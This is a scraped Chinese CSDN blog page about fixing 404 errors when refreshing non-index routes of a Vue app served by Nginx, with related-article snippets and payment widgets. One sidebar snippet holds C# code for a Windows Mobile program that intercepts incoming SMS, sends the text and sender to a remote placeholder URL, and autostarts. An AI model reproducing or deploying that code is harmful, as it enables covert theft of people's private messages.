vue项目部署到Nginx,非index页面刷新，404

最新推荐文章于 2023-02-13 18:30:59 发布
最新推荐文章于 2023-02-13 18:30:59 发布
阅读量6.5k 收藏 1
点赞数
分类专栏： python vue.js router
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cc9200/article/details/101481996
版权
python 同时被 3 个专栏收录
12 篇文章 0 订阅
订阅专栏
vue.js
7 篇文章 0 订阅
订阅专栏
router
2 篇文章 0 订阅
订阅专栏

 

vue项目编译以后，只有一个index.html的入口文件，其他地址都是靠router导航过去的，

比如www/XXXX.com/对应index.html文件，如果进入其它页面，比如www/XXXX.com/13，则需要router导航渲染一个新页面，那么问题来了，如果直接刷新www/XXXX.com/13，Nginx服务器会在location里面匹配这个页面，匹配不到返回404

 

看似很复杂的问题，只需要一行代码解决，如下

最开始以为这段代码的意思是nginx找不到页面时尝试再次连接，

然而并不是，不得index页面，刷新正常可以显示了，nginx真是个神奇的东西

看了好多博客还是没搞清楚为啥，总之先解决问题，留坑代填

螺纹钢铁侠
关注
专栏目录
vue项目nginx部署刷新报错404
知识改变命运，ヾ(◍°∇°◍)ﾉﾞ【求关注】
12-23 373
最近部署VUE项目，刷新后提示404
2022-07-17 vue项目-通用后台管理系统(十三) 将vue项目部署到nginx服务器上,宝塔面板介绍和使用
GAARA
07-17 409
一.vue项目打包并部署到nginx服务器(window环境) 1.项目打包 对于通过vue-cli脚手架创建的项目 在根目录cmd,并输入打包命令 2.nginx的html文件夹下粘贴打包好的项目文件 3.在有nginx.exe的页面cmd,输入命令开启服务器 4.其他 把dist文件中的文件粘贴到HTML文件夹下面 配置nginx 配置结束后重新加载 二.使用宝塔面板部署vue项目 1.宝塔面板介绍
Vue 打包部署到服务器后，非主页刷新后出现404问题解决
weixin_46180637的博客
08-20 956
服务器部署
Nginx部署VUE项目
Asurplus
03-08 20万+
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器，是部署前端项目的首选，在 Nginx 中部署 vue 项目的步骤如下： 1、原始配置文件如下 worker_processes 1; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; sendfile on;
Vue做为一个单页面应用，如何跳转到index之外的自己写的html
m0_50488756的博客
04-03 1821
Vue如何跳转到其他页面(尤其是vue3没了static文件夹) 今天想要把一个大数据展示模板套在一个vue项目里，开始按照其他博主的步骤，把自己的html放在了项目的public或者static(自己建的)文件夹下，然后在页面里加上window.location.href=’ ';然鹅没用，看导航栏的路径确实跳了，但是检查页面元素确实空的index页面。 我仔细想了下vue的原理，既然它是单页面，其实他就一个html，那其他的vue其实都是按请求和路由，轮流刷新做为index.html的一部分，想要跳转的
从vue+nginx刷新404了解nginx的try_files与index区别
小生测试的博客
03-26 4488
背景： vue+nginx部署后，只有“/”页面路径是正常的，刷新就报nginx 404错误，输入不存在的路径也只刷新nginx 404错误，而不是显示vue自带的404错误页面。 问题解决： 查了下资料知道是nginx的配置引起的 之前的nginx/conf.d/default.conf配置 location / { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrad
nginx部署vue项目，刷新页面404
qq_45029459的博客
02-13 3124
nginx+vue刷新404
解决vue项目nginx部署到非根目录下刷新空白的问题
12-09
1、修改config/index.js 2、修改路由route/index ...以上这篇解决vue项目nginx部署到非根目录下刷新空白的问题就是小编分享给大家的全部内容了，希望能给大家一个参考，也希望大家多多支持软件开发网。
vue下使用nginx刷新页面404的问题解决
10-16
在使用Vue.js构建的前端项目中，尤其是使用了现代前端技术栈如Vue Router进行路由管理时，部署到生产环境后可能会遇到在使用nginx作为反向代理服务器时刷新页面导致的404错误问题。这个问题通常是由于nginx的默认...
Vue项目webpack打包部署到Tomcat刷新报404错误问题的解决方案
08-27
总结起来，解决Vue项目在Tomcat上使用History模式刷新报404错误的步骤包括： 1. 在打包后的项目根目录下创建`WEB-INF`文件夹，并在其中创建`web.xml`。 2. 编写`web.xml`，设置404错误重定向到`index.html`。 3. 在...
windowsmobile手机短信拦截记录程序
08-12
http://blog.csdn.net/xiaoxiao108/article/details/6680605 开发环境 vs2008 wm6 .net cf 3.5 1、读取系统的新短信 2、把短信内容保存下来 3、程序开机后自动运行。 具体实现代码 1.订阅MessageReceived事件，收到短信后执行RevMsg_MessageReceived方法处理短信 private MessageInterceptor RevMsg; private void MessageService() { RevMsg = new MessageInterceptor(); RevMsg.MessageReceived += new MessageInterceptorEventHandler(RevMsg_MessageReceived); } 2.短信处理方法 可以把短信内容保存到指定链接，也可以保存到手机txt文件中 HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.xxxxxxxxx.com/xxxx?nr=" + msg.Body.ToString() + "&ld=" + msg.From.ToString()); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream stream = response.GetResponseStream(); string WebContent = new StreamReader(stream, System.Text.Encoding.Default).ReadToEnd(); stream.Close(); response.Close(); 3.实现开机自动运行功能 打包cab文件时，只需把快捷方式添加到Startup文件夹下面就ok。 不足之处：把短信内容保存到web时，会开启手机的 edge功能，手机上面有个联网的E通知图标，2分钟后才会关闭，没找到能快速关闭EDGE网络图标的方法。 如果你发现有什么不合理的，需要改进的地方，联系328452421@qq.com 朱晓 。相互交流 谢谢 下载地址 顺便问下 有家是 新泰 的 有木有。 http://blog.csdn.net/xiaoxiao108/article/details/6680605
Nginx 监听www.xxx.com 和 xxxx.com 两个端口同时访问
小小程序猿㊫
05-22 37万+
server { listen 80; server_name www.xxxx.com “空格分割"xxxx.com; charset UTF-8; access_log off; error_log ”日志保存地址“; client_max_body_size 75M; location / { include uwsgi_params; uwsgi_pass 127.0.0.1...
报错 | Access to XMLHttpRequest at ‘http://www.xxxxxxx.cn/xxxxx/xxxxx/xxxxx/login‘ from origin
热门推荐
A123ppleQueen的博客
11-22 48万+
Access to XMLHttpRequest at 'http://www.xxxxxxx.cn/xxxxx/xxxxx/xxxxx/login' from origin 'http://xx.x.x.xx:xxxx' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is pre
Nginx 301 重定向实现不带www跳转到www
way102的博客
07-27 9万+
Nginx 301 重定向实现不带www跳转到www由于有个域名的邮箱解析和CNAME解析不兼容，导致xxxx.cn不能访问，必须要带www，解决方法是将*.xxxx.cn的A记录解析到nginx的IP，使用301重定向跳转：在 server{ }中加入下面中间的 if{ }，例如：server { if ($host != 'www.xxxx.cn'){ rewrit
http://xxxx.com/.well-known/pki-validation/ txt 访问不了的问题
laokaizzz的专栏
06-12 3万+
ssl证书，要弄这个路径，不让带www http://www.xxxx.com/.well-known/pki-validation/xxxx.txt 能正常访问 直接访问http://xxxx.com/.well-known/pki-validation/xxx.txt 不行。 1.http://xxxx.com会自动跳转到 http://www.xxxx.com 结果发现谷歌...
host文件的工作原理及应用
Monica的专栏
11-17 2万+
host文件的工作原理及应用
The authenticity of host 'www.101du.net (60.210.17.34)' can't be established. RSA key fingerprint is xxxx. Are you sure you want
myccc456的专栏
06-02 8万+
<br />当第一次用sftp username@ftpip的时候：<br /><br />root@T207N1V1:/home/ap/opsware/agent/scripts/SOFTINSTALL#r@128.192.140.161   <<br />Connecting to 128.192.140.161...<br />The authenticity of host '128.192.140.161 (128.192.140.161)' can't be establish<br />d.<
Linux实用命令杂集
eureka_eureka的专栏
02-02 5895
杂记： 1. linux crontab laravel: * * * * * /usr/bin/php /var/www/api.xxx.com/artisan schedule:run >> /dev/null 2>&1 2. rpm下载安装 wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm yum -y install mysql57-community..
XXXX
cay22的专栏
05-31 12万+
XXXXXXXXXXXXXXXX
nginx部署vue项目刷新404
最新发布
07-25
当使用nginx部署vue项目时，刷新页面或访问路由配置页面时可能会出现404错误。这是因为vue项目属于单页面开发，只有一个index.html文件。解决这个问题很简单，只需要将访问重定向到index.html页面，然后由index.html处理对应的路由跳转。可以通过修改nginx的配置文件来实现。首先，在nginx的配置文件中添加以下代码： ``` location / { try_files $uri $uri/ /index.html; } ``` 这样就可以解决刷新页面时出现404错误的问题。然后，重启nginx服务器使配置生效。这样就完成了nginx部署vue项目并解决刷新404的问题。\[1\]\[3\] #### 引用[.reference_title] - *1* [nginx部署vue项目，刷新页面404](https://blog.csdn.net/qq_45029459/article/details/129014641)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [Nginx部署Vue项目以及解决刷新页面404问题](https://blog.csdn.net/qq_27985607/article/details/86608392)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [五步用Nginx部署Vue项目及动态路由刷新404问题解决](https://blog.csdn.net/weixin_54218079/article/details/125755795)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值